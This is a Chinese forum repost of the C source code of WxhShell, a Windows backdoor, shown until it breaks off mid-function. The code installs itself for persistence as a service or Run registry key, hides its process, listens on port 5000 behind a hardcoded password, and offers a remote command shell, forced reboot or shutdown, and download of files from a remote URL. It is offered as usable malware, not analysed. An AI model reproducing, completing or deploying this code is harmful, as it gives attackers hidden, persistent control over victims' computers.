返回列表 发帖

[转帖]带有端口重定向的后门WxhShell源代码

  1. #include "stdafx.h"
  2. &#35;include <stdio.h>
  3. &#35;include <string.h>
  4. &#35;include <windows.h>
  5. &#35;include <winsock2.h>
  6. &#35;include <winsvc.h>
  7. &#35;include <urlmon.h>
  8. &#35;pragma comment (lib, "Ws2_32.lib")
  9. &#35;pragma comment (lib, "urlmon.lib")
  10. &#35;define MAX_USER 100 // 最大客户端连接数
  11. &#35;define BUF_SOCK 200 // sock buffer
  12. &#35;define KEY_BUFF 255 // 输入 buffer
  13. &#35;define REBOOT 0 // 重启
  14. &#35;define SHUTDOWN 1 // 关机
  15. &#35;define DEF_PORT 5000 // 监听端口
  16. &#35;define REG_LEN 16 // 注册表键长度
  17. &#35;define SVC_LEN 80 // NT服务名长度
  18. // 从dll定义API
  19. typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
  20. typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
  21. typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
  22. typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
  23. // wxhshell配置信息
  24. struct WSCFG {
  25. int ws_port; // 监听端口
  26. char ws_passstr[REG_LEN]; // 口令
  27. int ws_autoins; // 安装标记, 1=yes 0=no
  28. char ws_regname[REG_LEN]; // 注册表键名
  29. char ws_svcname[REG_LEN]; // 服务名
  30. char ws_svcdisp[SVC_LEN]; // 服务显示名
  31. char ws_svcdesc[SVC_LEN]; // 服务描述信息
  32. char ws_passmsg[SVC_LEN]; // 密码输入提示信息
  33. int ws_downexe; // 下载执行标记, 1=yes 0=no
  34. char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
  35. char ws_filenam[SVC_LEN]; // 下载后保存的文件名
  36. };
  37. // default Wxhshell configuration
  38. struct WSCFG wscfg={DEF_PORT,
  39. "xuhuanlingzhe",
  40. 1,
  41. "Wxhshell",
  42. "Wxhshell",
  43. "WxhShell Service",
  44. "Wrsky Windows CmdShell Service",
  45. "Please Input Your Password: ",
  46. 1,
  47. "http://www.wrsky.com/wxhshell.exe",
  48. "Wxhshell.exe"
  49. };
  50. // 消息定义模块
  51. char *msg_ws_copyright="\n\rWxhShell v1.0 &copy;2005 [url=http://www.wrsky.com\n\rMake]http://www.wrsky.com\n\rMake[/url] by 虚幻灵者\n\r";
  52. char *msg_ws_prompt="\n\r? for help\n\r&#35;>";
  53. char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r&#35;>http://.../server.exe\n\r";
  54. char *msg_ws_ext="\n\rExit.";
  55. char *msg_ws_end="\n\rQuit.";
  56. char *msg_ws_boot="\n\rReboot...";
  57. char *msg_ws_poff="\n\rShutdown...";
  58. char *msg_ws_down="\n\rSave to ";
  59. char *msg_ws_err="\n\rErr!";
  60. char *msg_ws_ok="\n\rOK!";
  61. char ExeFile[MAX_PATH];
  62. int nUser = 0;
  63. HANDLE handles[MAX_USER];
  64. int OsIsNt;
  65. SERVICE_STATUS serviceStatus;
  66. SERVICE_STATUS_HANDLE hServiceStatusHandle;
  67. // 函数声明
  68. int Install(void);
  69. int Uninstall(void);
  70. int DownloadFile(char *sURL, SOCKET wsh);
  71. int Boot(int flag);
  72. void HideProc(void);
  73. int GetOsVer(void);
  74. int Wxhshell(SOCKET wsl);
  75. void TalkWithClient(void *cs);
  76. int CmdShell(SOCKET sock);
  77. int StartFromService(void);
  78. int StartWxhshell(LPSTR lpCmdLine);
  79. VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
  80. VOID WINAPI NTServiceHandler( DWORD fdwControl );
  81. // 数据结构和表定义
  82. SERVICE_TABLE_ENTRY DispatchTable[] =
  83. {
  84. {wscfg.ws_svcname, NTServiceMain},
  85. {NULL, NULL}
  86. };
  87. // 自我安装
  88. int Install(void)
  89. {
  90. char svExeFile[MAX_PATH];
  91. HKEY key;
  92. strcpy(svExeFile,ExeFile);
  93. // 如果是win9x系统,修改注册表设为自启动
  94. if(!OsIsNt) {
  95. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
  96. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
  97. RegCloseKey(key);
  98. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
  99. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
  100. RegCloseKey(key);
  101. return 0;
  102. }
  103. }
  104. }
  105. else {
  106. // 如果是NT以上系统,安装为系统服务
  107. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
  108. if (schSCManager!=0)
  109. {
  110. SC_HANDLE schService = CreateService
  111. (
  112. schSCManager,
  113. wscfg.ws_svcname,
  114. wscfg.ws_svcdisp,
  115. SERVICE_ALL_ACCESS,
  116. SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
  117. SERVICE_AUTO_START,
  118. SERVICE_ERROR_NORMAL,
  119. svExeFile,
  120. NULL,
  121. NULL,
  122. NULL,
  123. NULL,
  124. NULL
  125. );
  126. if (schService!=0)
  127. {
  128. CloseServiceHandle(schService);
  129. CloseServiceHandle(schSCManager);
  130. strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
  131. strcat(svExeFile,wscfg.ws_svcname);
  132. if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
  133. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
  134. RegCloseKey(key);
  135. return 0;
  136. }
  137. }
  138. CloseServiceHandle(schSCManager);
  139. }
  140. }
  141. return 1;
  142. }
  143. // 自我卸载
  144. int Uninstall(void)
  145. {
  146. HKEY key;
  147. if(!OsIsNt) {
  148. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
  149. RegDeleteV&#97;lue(key,wscfg.ws_regname);
  150. RegCloseKey(key);
  151. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
  152. RegDeleteV&#97;lue(key,wscfg.ws_regname);
  153. RegCloseKey(key);
  154. return 0;
  155. }
  156. }
  157. }
  158. else {
  159. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
  160. if (schSCManager!=0)
  161. {
  162. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
  163. if (schService!=0)
  164. {
  165. if(DeleteService(schService)!=0) {
  166. CloseServiceHandle(schService);
  167. CloseServiceHandle(schSCManager);
  168. return 0;
  169. }
  170. CloseServiceHandle(schService);
  171. }
  172. CloseServiceHandle(schSCManager);
  173. }
  174. }
  175. return 1;
  176. }
  177. // 从指定url下载文件
  178. int DownloadFile(char *sURL, SOCKET wsh)
  179. {
  180. HRESULT hr;
  181. char seps[]= "/";
  182. char *token;
  183. char *file;
  184. char myURL[MAX_PATH];
  185. char myFILE[MAX_PATH];
  186. strcpy(myURL,sURL);
  187. token=strtok(myURL,seps);
  188. while(token!=NULL)
  189. {
  190. file=token;
  191. token=strtok(NULL,seps);
  192. }
  193. GetCurrentDirectory(MAX_PATH,myFILE);
  194. strcat(myFILE, "\\");
  195. strcat(myFILE, file);
  196. send(wsh,myFILE,strlen(myFILE),0);
  197. send(wsh,"...",3,0);
  198. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
  199. if(hr==S_OK)
  200. return 0;
  201. else
  202. return 1;
  203. }
  204. // 系统电源模块
  205. int Boot(int flag)
  206. {
  207. HANDLE hToken;
  208. TOKEN_PRIVILEGES tkp;
  209. if(OsIsNt) {
  210. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
  211. LookupPrivilegeV&#97;lue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
  212. tkp.PrivilegeCount = 1;
  213. tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  214. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
  215. if(flag==REBOOT) {
  216. if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
  217. return 0;
  218. }
  219. else {
  220. if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
  221. return 0;
  222. }
  223. }
  224. else {
  225. if(flag==REBOOT) {
  226. if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
  227. return 0;
  228. }
  229. else {
  230. if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
  231. return 0;
  232. }
  233. }
  234. return 1;
  235. }
  236. // win9x进程隐藏模块
  237. void HideProc(void)
  238. {
  239. HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
  240. if ( hKernel != NULL )
  241. {
  242. pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
  243. ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
  244. FreeLibrary(hKernel);
  245. }
  246. return;
  247. }
  248. // 获取操作系统版本
  249. int GetOsVer(void)
  250. {
  251. OSVERSIONINFO winfo;
  252. winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
  253. GetVersionEx(&winfo);
  254. if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
  255. return 1;
  256. else
  257. return 0;
  258. }
  259. // 客户端句柄模块
  260. int Wxhshell(SOCKET wsl)
  261. {
  262. SOCKET wsh;
  263. struct sockaddr_in client;
  264. DWORD myID;
  265. while(nUser<MAX_USER)
  266. {
  267. int nSize=sizeof(client);
  268. wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
  269. if(wsh==INVALID_SOCKET) return 1;
  270. handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
  271. if(handles[nUser]==0)
  272. closesocket(wsh);
  273. else
  274. nUser++;
  275. }
  276. WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
  277. return 0;
  278. }
  279. // 关闭 socket
  280. void CloseIt(SOCKET wsh)
  281. {
  282. closesocket(wsh);
  283. nUser--;
  284. ExitThread(0);
  285. }
  286. // 客户端请求句柄
  287. void TalkWithClient(void *cs)
  288. {
  289. SOCKET wsh=(SOCKET)cs;
  290. char pwd[SVC_LEN];
  291. char cmd[KEY_BUFF];
  292. char chr[1];
  293. int i,j;
  294. while (nUser < MAX_USER) {
  295. if(wscfg.ws_passstr) {
  296. if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
  297. //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
  298. //ZeroMemory(pwd,KEY_BUFF);
  299. i=0;
  300. while(i<SVC_LEN) {
  301. // 设置超时
  302. fd_set FdRead;
  303. struct timev&#97;l TimeOut;
  304. FD_ZERO(&FdRead);
  305. FD_SET(wsh,&FdRead);
  306. TimeOut.tv_sec=8;
  307. TimeOut.tv_usec=0;
  308. int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
  309. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
  310. if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
  311. pwd[i]=chr[0];
  312. if(chr[0]==0xd || chr[0]==0xa) {
  313. pwd[i]=0;
  314. break;
  315. }
  316. i++;
  317. }
  318. // 如果是非法用户,关闭 socket
  319. if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);
  320. }
  321. send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
  322. send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
  323. while(1) {
  324. ZeroMemory(cmd,KEY_BUFF);
  325. // 自动支持客户端 telnet标准
  326. j=0;
  327. while(j<KEY_BUFF) {
  328. if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
  329. cmd[j]=chr[0];
  330. if(chr[0]==0xa || chr[0]==0xd) {
  331. &nb
复制代码

返回列表 回复 发帖